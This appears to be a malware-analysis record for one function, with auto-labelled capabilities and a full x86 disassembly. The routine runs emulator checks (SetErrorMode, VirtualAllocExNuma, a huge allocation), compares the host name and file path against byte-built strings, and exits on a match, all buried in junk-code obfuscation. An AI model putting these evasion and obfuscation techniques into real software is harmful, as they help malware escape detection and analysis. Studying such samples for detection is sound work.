Function at 0x402103
Capabilities:
Get hostname
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
pushfd
xor edi, 0x8bc081a1
xor edi, 0x8bc081a1
popfd
push 0x6400000
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
xchg edx, edi
xchg edi, edx
pushfd
push 0x7ca0e847
add esp, 4
popfd
test eax, eax
push ecx
pop ecx
pushfd
push eax
add esp, 4
popfd
je 0x402e2f
xchg edi, edi
pushfd
xor edx, 0x1a807da2
xor edx, 0x1a807da2
popfd
mov dword [ebp - 0x41c], eax
push edx
push ebx
pop ebx
pop edx
push 0x6400000
push 0
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_memset]
add esp, 0xc
pushfd
inc eax
dec eax
popfd
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
pushfd
push 0x5ef34a0f
add esp, 4
popfd
push 0x400
call dword [sym.imp.kernel32.dll_SetErrorMode]
pushfd
push 0xbade775f
add esp, 4
popfd
pushfd
push 0x532b98b2
add esp, 4
popfd
push 0
call dword [sym.imp.kernel32.dll_SetErrorMode]
pushfd
push 0xed4492c
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
cmp eax, 0x400
mov edx, edx
push edx
push ecx
pop ecx
pop edx
jne 0x402e2f
pushfd
xor ecx, 0xdb8685c
xor ecx, 0xdb8685c
popfd
push 0
push 4
push 0x3000
push 0x3e8
push 0
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_VirtualAllocExNuma]
xchg esi, ecx
xchg ecx, esi
test eax, eax
mov edi, edi
je 0x402e2f
pushfd
inc edi
dec edi
popfd
mov dword [ebp - 0x20e], 0x104
mov edx, edx
push edi
pop edi
lea eax, [ebp - 0x313]
pushfd
push 0x4848cbd8
add esp, 4
popfd
mov ebx, ebx
lea ebx, [ebp - 0x20e]
xchg edx, edx
pushfd
xor eax, 0xa49cf9ff
xor eax, 0xa49cf9ff
popfd
push ebx
push eax
call dword [sym.imp.kernel32.dll_GetComputerNameA]
push esi
pop esi
xchg esi, esi
test eax, eax
xchg esi, eax
xchg esi, eax
je 0x402515
pushfd
inc eax
dec eax
popfd
push edi
pop edi
lea eax, [ebp - 0x418]
pushfd
inc ebx
dec ebx
popfd
push ecx
push esi
pop esi
pop ecx
mov ebx, 0x61
push esi
pop esi
xchg edx, ebx
xchg ebx, edx
sub bl, 0x13
push edi
pop edi
mov byte [eax], bl
pushfd
inc edi
dec edi
popfd
pushfd
push eax
add esp, 4
popfd
add bl, 0x18
push ecx
pop ecx
mov byte [eax + 1], bl
pushfd
inc eax
dec eax
popfd
pushfd
push esi
add esp, 4
popfd
sub bl, 0xc
xchg ebx, esi
xchg esi, ebx
push esi
pop esi
mov byte [eax + 2], bl
push edi
pop edi
push esi
push ebx
pop ebx
pop esi
add bl, 0x1a
pushfd
push 0xf477544f
add esp, 4
popfd
mov byte [eax + 3], bl
pushfd
xor edx, 0xf5b708e0
xor edx, 0xf5b708e0
popfd
sub bl, 0x2e
nop
mov byte [eax + 4], bl
mov ebx, ebx
add bl, 0x1c
xchg edx, edx
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 5], bl
xchg edi, edx
xchg edx, edi
sub bl, 0x12
xchg ebx, ebx
push ebx
push ecx
pop ecx
pop ebx
mov byte [eax + 6], bl
mov esi, esi
xchg edi, ebx
xchg ebx, edi
add bl, 0x16
pushfd
push 0xa3f3cd0e
add esp, 4
popfd
mov byte [eax + 7], bl
push esi
push eax
pop eax
pop esi
sub bl, 0x1e
pushfd
push 0x55be7b44
add esp, 4
popfd
mov byte [eax + 8], bl
pushfd
inc edx
dec edx
popfd
mov byte [eax + 9], 0
pushfd
inc ebx
dec ebx
popfd
mov edx, edx
lea ebx, [ebp - 0x313]
pushfd
push ecx
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
push ecx
push edx
pop edx
pop ecx
pushfd
inc edx
dec edx
popfd
test eax, eax
push eax
pop eax
xchg ecx, eax
xchg ecx, eax
je 0x402e2f
pushfd
inc esi
dec esi
popfd
push ebx
pop ebx
lea eax, [ebp - 0x418]
mov edi, edi
pushfd
inc esi
dec esi
popfd
mov ebx, 0x61
xchg edx, edx
xchg esi, edi
xchg edi, esi
sub bl, 0x1c
pushfd
inc ebx
dec ebx
popfd
mov byte [eax], bl
push ecx
pop ecx
add bl, 7
xchg edi, eax
xchg edi, eax
pushfd
inc edi
dec edi
popfd
mov byte [eax + 1], bl
mov edi, edi
sub bl, 3
push ebx
push esi
pop esi
pop ebx
mov byte [eax + 2], bl
pushfd
inc ecx
dec ecx
popfd
pushfd
xor esi, 0x9878736f
xor esi, 0x9878736f
popfd
sub bl, 6
pushfd
push 0xefcd0578
add esp, 4
popfd
mov byte [eax + 3], bl
push edx
pop edx
push eax
push esi
pop esi
pop eax
add bl, 0x17
nop
mov byte [eax + 4], bl
push ebx
push edi
pop edi
pop ebx
push ebx
pop ebx
mov byte [eax + 5], 0
pushfd
xor edx, 0xd1723825
xor edx, 0xd1723825
popfd
lea ebx, [ebp - 0x313]
pushfd
inc edi
dec edi
popfd
pushfd
xor ecx, 0x1ba0fccf
xor ecx, 0x1ba0fccf
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
push edi
pop edi
test eax, eax
push edx
pop edx
je 0x402e2f
xchg esi, esi
mov ecx, ecx
lea eax, [ebp - 0x418]
xchg esi, edi
xchg edi, esi
mov ebx, 0x61
pushfd
xor edx, 0xfc0c9dd
xor edx, 0xfc0c9dd
popfd
mov edx, edx
add bl, 0x13
pushfd
inc edi
dec edi
popfd
nop
mov byte [eax], bl
pushfd
push edi
add esp, 4
popfd
add bl, 6
mov ecx, ecx
push eax
push edi
pop edi
pop eax
mov byte [eax + 1], bl
pushfd
push 0x7785c3fc
add esp, 4
popfd
mov byte [eax + 2], 0
xchg edi, edi
push edx
pop edx
lea ebx, [ebp - 0x313]
xchg edi, edi
push eax
push edi
pop edi
pop eax
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
xchg esi, esi
test eax, eax
mov ecx, ecx
je 0x402e2f
xchg edx, edx
lea eax, [ebp - 0x418]
xchg ecx, ecx
mov ebx, ebx
mov ebx, 0x61
pushfd
xor edi, 0xce390f9d
xor edi, 0xce390f9d
popfd
sub bl, 0x14
xchg edx, edx
push ecx
pop ecx
mov byte [eax], bl
xchg edx, ebx
xchg ebx, edx
sub bl, 0xc
xchg edx, eax
xchg edx, eax
xchg edi, edi
mov byte [eax + 1], bl
xchg edi, edi
add bl, 8
xchg ebx, edx
xchg edx, ebx
pushfd
push 0x1e352279
add esp, 4
popfd
mov byte [eax + 2], bl
pushfd
inc ecx
dec ecx
popfd
xchg ebx, eax
xchg ebx, eax
add bl, 5
nop
mov byte [eax + 3], bl
push ebx
pop ebx
mov byte [eax + 4], 0
pushfd
push 0x1810d9f4
add esp, 4
popfd
xchg esi, edx
xchg edx, esi
lea ebx, [ebp - 0x313]
push esi
pop esi
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
push edx
add esp, 4
popfd
test eax, eax
push edi
pop edi
je 0x402e2f
push esi
push eax
pop eax
pop esi
pushfd
xor edi, 0x425a493e
xor edi, 0x425a493e
popfd
push esi
push edi
pop edi
pop esi
lea eax, [ebp - 0x20a]
mov ecx, ecx
push edi
push ebx
pop ebx
pop edi
push 0x104
push eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
pushfd
push 0x9e13ec91
add esp, 4
popfd
xchg ebx, ebx
cmp eax, 0
pushfd
push 0x4c4896eb
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
jle 0x402e17
push eax
pop eax
lea eax, [ebp - 0x20a]
pushfd
push 0xed8bf5f3
add esp, 4
popfd
push eax
call dword [sym.imp.Shlwapi.dll_PathFindFileNameA]
pushfd
xor edx, 0x6c9812eb
xor edx, 0x6c9812eb
popfd
lea ebx, [ebp - 0x105]
xchg edx, edx
pushfd
push 0x993f8bcf
add esp, 4
popfd
push eax
push ebx
call dword [sym.imp.msvcrt.dll_strcpy]
xchg edi, edi
lea eax, [ebp - 0x418]
mov esi, esi
xchg ecx, eax
xchg ecx, eax
mov ebx, 0x61
pushfd
push edx
add esp, 4
popfd
sub bl, 0x1e
pushfd
push 0x98f6ff14
add esp, 4
popfd
xchg edi, edi
mov byte [eax], bl
pushfd
push 0xa5657c21
add esp, 4
popfd
xchg edi, ebx
xchg ebx, edi
sub bl, 9
push edi
pop edi
xchg ecx, edi
xchg edi, ecx
mov byte [eax + 1], bl
push eax
pop eax
add bl, 0x22
push ebx
pop ebx
mov byte [eax + 2], bl
pushfd
xor edi, 0xc0b7f337
xor edi, 0xc0b7f337
popfd
sub bl, 0x18
pushfd
xor ecx, 0x57aa24a8
xor ecx, 0x57aa24a8
popfd
push edi
pop edi
mov byte [eax + 3], bl
pushfd
inc esi
dec esi
popfd
add bl, 0x2b
mov edx, edx
mov byte [eax + 4], bl
xchg ecx, edi
xchg edi, ecx
sub bl, 0xc
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 5], bl
pushfd
xor ebx, 0x242e15ed
xor ebx, 0x242e15ed
popfd
pushfd
push 0x42737e50
add esp, 4
popfd
add bl, 0x12
mov eax, eax
mov byte [eax + 6], bl
xchg esi, esi
sub bl, 8
pushfd
push ebx
add esp, 4
popfd
push eax
push ecx
pop ecx
pop eax
mov byte [eax + 7], bl
nop
mov edi, edi
sub bl, 8
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 8], bl
mov ecx, ecx
add bl, 9
pushfd
inc ebx
dec ebx
popfd
push esi
pop esi
mov byte [eax + 9], bl
push ebx
push eax
pop eax
pop ebx
mov ebx, ebx
add bl, 6
push ecx
push ebx
pop ebx
pop ecx
mov byte [eax + 0xa], bl
xchg ecx, edx
xchg edx, ecx
push edi
pop edi
dec bl
push edi
pop edi
mov byte [eax + 0xb], bl
xchg ebx, ebx
sub bl, 0x53
push eax
pop eax
mov byte [eax + 0xc], bl
pushfd
xor ebx, 0x2f8dbcfc
xor ebx, 0x2f8dbcfc
popfd
add bl, 0x41
xchg ebx, edx
xchg edx, ebx
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 0xd], bl
pushfd
push eax
add esp, 4
popfd
push eax
push ecx
pop ecx
pop eax
add bl, 0xd
push eax
pop eax
mov byte [eax + 0xe], bl
pushfd
push ebx
add esp, 4
popfd
mov edi, edi
sub bl, 0xa
pushfd
xor ecx, 0x2ef5b3c3
xor ecx, 0x2ef5b3c3
popfd
pushfd
push 0x4d10339b
add esp, 4
popfd
mov byte [eax + 0xf], bl
push esi
pop esi
sub bl, 0x44
xchg edi, esi
xchg esi, edi
mov byte [eax + 0x10], bl
pushfd
push 0x7244497e
add esp, 4
popfd
add bl, 0x33
pushfd
push 0xb7372797
add esp, 4
popfd
mov byte [eax + 0x11], bl
push edx
pop edx
add bl, 0x12
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 0x12], bl
push ebx
push eax
pop eax
pop ebx
add bl, 0xf
xchg esi, ebx
xchg ebx, esi
xchg edx, eax
xchg edx, eax
mov byte [eax + 0x13], bl
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 0x14], bl
xchg edi, edi
sub bl, 0xb
mov ecx, ecx
mov byte [eax + 0x15], bl
xchg edx, edx
mov edx, edx
add bl, 5
mov edi, edi
push esi
push eax
pop eax
pop esi
mov byte [eax + 0x16], bl
pushfd
push edx
add esp, 4
popfd
pushfd
inc esi
dec esi
popfd
sub bl, 7
push edx
push ecx
pop ecx
pop edx
mov byte [eax + 0x17], bl
mov ebx, ebx
add bl, 0xc
pushfd
inc ebx
dec ebx
popfd
push esi
push ebx
pop ebx
pop esi
mov byte [eax + 0x18], bl
pushfd
xor edx, 0x74e9e311
xor edx, 0x74e9e311
popfd
pushfd
push esi
add esp, 4
popfd
sub bl, 0x17
xchg ecx, ecx
mov byte [eax + 0x19], bl
pushfd
push 0xb956c79
add esp, 4
popfd
mov esi, esi
sub bl, 0x1b
mov edi, edi
mov byte [eax + 0x1a], bl
pushfd
push edx
add esp, 4
popfd
push esi
pop esi
add bl, 0x23
mov edx, edx
mov byte [eax + 0x1b], bl
mov eax, eax
add bl, 9
xchg ebx, ecx
xchg ecx, ebx
mov byte [eax + 0x1c], bl
xchg edx, eax
xchg edx, eax
mov esi, esi
sub bl, 4
pushfd
inc edx
dec edx
popfd
mov byte [eax + 0x1d], bl
xchg ebx, esi
xchg esi, ebx
pushfd
xor edx, 0x29c14c3e
xor edx, 0x29c14c3e
popfd
add bl, 5
xchg ecx, ebx
xchg ebx, ecx
mov byte [eax + 0x1e], bl
push ebx
push edx
pop edx
pop ebx
sub bl, 5
mov edx, edx
pushfd
xor ecx, 0x5a72c840
xor ecx, 0x5a72c840
popfd
mov byte [eax + 0x1f], bl
pushfd
push ecx
add esp, 4
popfd
add bl, 0xa
mov edi, edi
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 0x20], bl
pushfd
push esi
add esp, 4
popfd
pushfd
inc esi
dec esi
popfd
inc bl
pushfd
push 0xff9bf157
add esp, 4
popfd
nop
mov byte [eax + 0x21], bl
pushfd
inc edi
dec edi
popfd
pushfd
xor edi, 0xd5fe6016
xor edi, 0xd5fe6016
popfd
sub bl, 2
push esi
pop esi
mov byte [eax + 0x22], bl
pushfd
push 0x7cd6374a
add esp, 4
popfd
sub bl, 0x11
xchg ebx, edi
xchg edi, ebx
push eax
push ebx
pop ebx
pop eax
mov byte [eax + 0x23], bl
xchg ecx, ecx
pushfd
push edi
add esp, 4
popfd
add bl, 0x13
pushfd
push 0x378a2f25
add esp, 4
popfd
mov byte [eax + 0x24], bl
pushfd
inc edi
dec edi
popfd
pushfd
push 0x5adbd0c
add esp, 4
popfd
sub bl, 5
xchg esi, eax
xchg esi, eax
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 0x25], bl
xchg esi, esi
pushfd
inc edx
dec edx
popfd
add bl, 3
pushfd
push esi
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
mov byte [eax + 0x26], bl
pushfd
push edx
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
sub bl, 0x16
pushfd
xor esi, 0x96a5cede
xor esi, 0x96a5cede
popfd
pushfd
xor ebx, 0xcce10551
xor ebx, 0xcce10551
popfd
mov byte [eax + 0x27], bl
pushfd
push 0xb0bb6ce4
add esp, 4
popfd
mov ecx, ecx
sub bl, 0xf
push esi
push edi
pop edi
pop esi
push eax
push ebx
pop ebx
pop eax
mov byte [eax + 0x28], bl
pushfd
inc ecx
dec ecx
popfd
pushfd
push ecx
add esp, 4
popfd
add bl, 0x2c
mov ecx, ecx
push ebx
push ecx
pop ecx
pop ebx
mov byte [eax + 0x29], bl
xchg edi, edx
xchg edx, edi
sub bl, 0x59
push ecx
push edx
pop edx
pop ecx
mov byte [eax + 0x2a], bl
pushfd
inc ecx
dec ecx
popfd
add bl, 0x24
push esi
push ebx
pop ebx
pop esi
pushfd
xor eax, 0xc95c4b17
xor eax, 0xc95c4b17
popfd
mov byte [eax + 0x2b], bl
push eax
push edx
pop edx
pop eax
xchg ebx, esi
xchg esi, ebx
add bl, 0x2b
push eax
pop eax
push eax
pop eax
mov byte [eax + 0x2c], bl
xchg edi, edi
sub bl, 0xc
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 0x2d], bl
pushfd
xor ebx, 0x39a82988
xor ebx, 0x39a82988
popfd
pushfd
inc ecx
dec ecx
popfd
add bl, 0x12
mov edx, edx
pushfd
push 0x2b7d379b
add esp, 4
popfd
mov byte [eax + 0x2e], bl
pushfd
inc ecx
dec ecx
popfd
sub bl, 8
pushfd
inc esi
dec esi
popfd
push edx
pop edx
mov byte [eax + 0x2f], bl
pushfd
push esi
add esp, 4
popfd
sub bl, 8
pushfd
push 0x94304444
add esp, 4
popfd
pushfd
push 0x3b290f87
add esp, 4
popfd
mov byte [eax + 0x30], bl
push edi
push eax
pop eax
pop edi
add bl, 9
pushfd
xor eax, 0xd598e1bb
xor eax, 0xd598e1bb
popfd
mov byte [eax + 0x31], bl
xchg edx, edx
add bl, 6
nop
mov byte [eax + 0x32], bl
xchg ebx, ecx
xchg ecx, ebx
dec bl
xchg ecx, ecx
xchg ebx, edi
xchg edi, ebx
mov byte [eax + 0x33], bl
xchg esi, eax
xchg esi, eax
sub bl, 0x17
pushfd
push 0xff4ba8a9
add esp, 4
popfd
mov byte [eax + 0x34], bl
xchg ecx, ecx
add bl, 0x11
pushfd
inc esi
dec esi
popfd
mov byte [eax + 0x35], bl
pushfd
push 0x9aba74aa
add esp, 4
popfd
pushfd
xor edi, 0x993cdada
xor edi, 0x993cdada
popfd
add bl, 0xa
pushfd
xor ecx, 0xa4a78c2b
xor ecx, 0xa4a78c2b
popfd
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 0x36], bl
xchg ecx, ecx
pushfd
xor esi, 0xe880b6d9
xor esi, 0xe880b6d9
popfd
sub bl, 4
push ebx
push edx
pop edx
pop ebx
pushfd
xor ecx, 0xa233e736
xor ecx, 0xa233e736
popfd
mov byte [eax + 0x37], bl
pushfd
xor edi, 0xcfc9f80d
xor edi, 0xcfc9f80d
popfd
sub bl, 6
pushfd
push 0xff458cf7
add esp, 4
popfd
pushfd
xor esi, 0x795421b3
xor esi, 0x795421b3
popfd
mov byte [eax + 0x38], bl
pushfd
inc ecx
dec ecx
popfd
add bl, 3
mov esi, esi
mov byte [eax + 0x39], bl
pushfd
push 0x74da2b0e
add esp, 4
popfd
sub bl, 4
pushfd
inc edi
dec edi
popfd
pushfd
xor eax, 0x7c4240d5
xor eax, 0x7c4240d5
popfd
mov byte [eax + 0x3a], bl
xchg esi, eax
xchg esi, eax
sub bl, 0x3e
pushfd
xor ecx, 0x911107f0
xor ecx, 0x911107f0
popfd
push ebx
pop ebx
mov byte [eax + 0x3b], bl
push esi
pop esi
add bl, 0x37
mov edi, edi
mov byte [eax + 0x3c], bl
pushfd
inc edx
dec edx
popfd
add bl, 0x13
xchg ebx, ebx
pushfd
push 0x7f522ef0
add esp, 4
popfd
mov byte [eax + 0x3d], bl
pushfd
push 0x88b829f8
add esp, 4
popfd
mov edx, edx
sub bl, 0x13
nop
mov byte [eax + 0x3e], bl
pushfd
inc ebx
dec ebx
popfd
pushfd
xor eax, 0x8ff801d7
xor eax, 0x8ff801d7
popfd
mov byte [eax + 0x3f], 0
pushfd
inc edx
dec edx
popfd
lea ebx, [ebp - 0x20a]
pushfd
push 0x3f15cddd
add esp, 4
popfd
push edx
push eax
pop eax
pop edx
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
pushfd
push 0xb54aac
add esp, 4
popfd
test eax, eax
xchg edx, eax
xchg edx, eax
pushfd
push ecx
add esp, 4
popfd
je 0x402e2f
pushfd
push edx
add esp, 4
popfd
pushfd
xor esi, 0x7643e1ab
xor esi, 0x7643e1ab
popfd
lea eax, [ebp - 0x418]
pushfd
inc ebx
dec ebx
popfd
pushfd
xor eax, 0xec9e7ba9
xor eax, 0xec9e7ba9
popfd
mov ebx, 0x61
xchg ecx, ecx
sub bl, 0x1e
pushfd
xor edx, 0x8e71b169
xor edx, 0x8e71b169
popfd
pushfd
push 0xb2fb7ec7
add esp, 4
popfd
mov byte [eax], bl
xchg ebx, ecx
xchg ecx, ebx
pushfd
xor ebx, 0xe111461a
xor ebx, 0xe111461a
popfd
sub bl, 9
push eax
push esi
pop esi
pop eax
push ebx
pop ebx
mov byte [eax + 1], bl
mov edi, edi
push ecx
pop ecx
add bl, 0x22
push ecx
pop ecx
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 2], bl
xchg edi, eax
xchg edi, eax
sub bl, 9
xchg ebx, ebx
pushfd
push 0xe95e1c93
add esp, 4
popfd
mov byte [eax + 3], bl
pushfd
inc edx
dec edx
popfd
xchg esi, esi
sub bl, 0xe
xchg edi, edi
mov byte [eax + 4], bl
xchg ecx, ebx
xchg ebx, ecx
pushfd
push 0xa3e38b36
add esp, 4
popfd
add bl, 7
xchg esi, esi
push eax
push edx
pop edx
pop eax
mov byte [eax + 5], bl
push ecx
push eax
pop eax
pop ecx
sub bl, 6
xchg ebx, esi
xchg esi, ebx
mov esi, esi
mov byte [eax + 6], bl
pushfd
inc esi
dec esi
popfd
pushfd
push 0xe836b6f7
add esp, 4
popfd
sub bl, 0x18
pushfd
push 0xbb8a170b
add esp, 4
popfd
mov byte [eax + 7], bl
push edx
pop edx
add bl, 0x17
pushfd
xor edx, 0xd5b4a32d
xor edx, 0xd5b4a32d
popfd
mov byte [eax + 8], bl
push ebx
push esi
pop esi
pop ebx
pushfd
inc ebx
dec ebx
popfd
add bl, 0x13
pushfd
push 0x75d59fcb
add esp, 4
popfd
mov byte [eax + 9], bl
pushfd
inc ecx
dec ecx
popfd
pushfd
push 0x2573522a
add esp, 4
popfd
sub bl, 0x13
mov edx, edx
pushfd
push 0x59332f56
add esp, 4
popfd
mov byte [eax + 0xa], bl
mov ecx, ecx
pushfd
xor edi, 0xd5a0e1e3
xor edi, 0xd5a0e1e3
popfd
mov byte [eax + 0xb], 0
pushfd
push 0xd5be406
add esp, 4
popfd
lea ebx, [ebp - 0x20a]
pushfd
xor esi, 0x60dc0de3
xor esi, 0x60dc0de3
popfd
push edx
pop edx
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
xchg edi, edi
test eax, eax
mov ebx, ebx
je 0x402e2f
push eax
pop eax
push edi
push esi
pop esi
pop edi
lea eax, [ebp - 0x418]
push ebx
push edx
pop edx
pop ebx
pushfd
push 0x921a6af6
add esp, 4
popfd
mov ebx, 0x61
pushfd
inc ecx
dec ecx
popfd
push esi
pop esi
add bl, 0xc
push edx
push ebx
pop ebx
pop edx
push ebx
push esi
pop esi
pop ebx
mov byte [eax], bl
push edx
push esi
pop esi
pop edx
add bl, 0xc
pushfd
xor edx, 0x39b0c2f9
xor edx, 0x39b0c2f9
popfd
pushfd
inc edx
dec edx
popfd
mov byte [eax + 1], bl
pushfd
push esi
add esp, 4
popfd
sub bl, 0x18
pushfd
xor ecx, 0x8a3a7341
xor ecx, 0x8a3a7341
popfd
xchg esi, esi
mov byte [eax + 2], bl
pushfd
push 0xb0dca9d4
add esp, 4
popfd
add bl, 0xf
push edx
pop edx
mov byte [eax + 3], bl
xchg ecx, esi
xchg esi, ecx
pushfd
push 0x30e35ce2
add esp, 4
popfd
mov byte [eax + 4], bl
push ebx
pop ebx
sub bl, 0x42
mov edi, edi
mov byte [eax + 5], bl
pushfd
push edx
add esp, 4
popfd
pushfd
push 0x5c7cabdc
add esp, 4
popfd
add bl, 0x37
pushfd
xor edx, 0xa3981080
xor edx, 0xa3981080
popfd
push edi
push ecx
pop ecx
pop edi
mov byte [eax + 6], bl
xchg ecx, esi
xchg esi, ecx
pushfd
push 0x9ca0ef81
add esp, 4
popfd
add bl, 0x13
pushfd
inc edx
dec edx
popfd
mov byte [eax + 7], bl
push edx
pop edx
xchg ebx, edx
xchg edx, ebx
sub bl, 0x13
xchg esi, ebx
xchg ebx, esi
mov byte [eax + 8], bl
push ebx
pop ebx
mov byte [eax + 9], 0
pushfd
xor ebx, 0x1a7b28fd
xor ebx, 0x1a7b28fd
popfd
mov edi, edi
lea ebx, [ebp - 0x105]
pushfd
push 0xe5d7c26d
add esp, 4
popfd
xchg edi, eax
xchg edi, eax
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
pushfd
push edx
add esp, 4
popfd
pushfd
xor esi, 0x5278d9f2
xor esi, 0x5278d9f2
popfd
test eax, eax
push edx
push esi
pop esi
pop edx
je 0x402e2f
push edx
pop edx
pushfd
xor ecx, 0x6160d1e0
xor ecx, 0x6160d1e0
popfd
push esi
pop esi
xor eax, eax
pushfd
inc eax
dec eax
popfd
pushfd
xor esi, 0x46248cf1
xor esi, 0x46248cf1
popfd
leave
ret
pushfd
push esi
add esp, 4
popfd
mov eax, eax
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]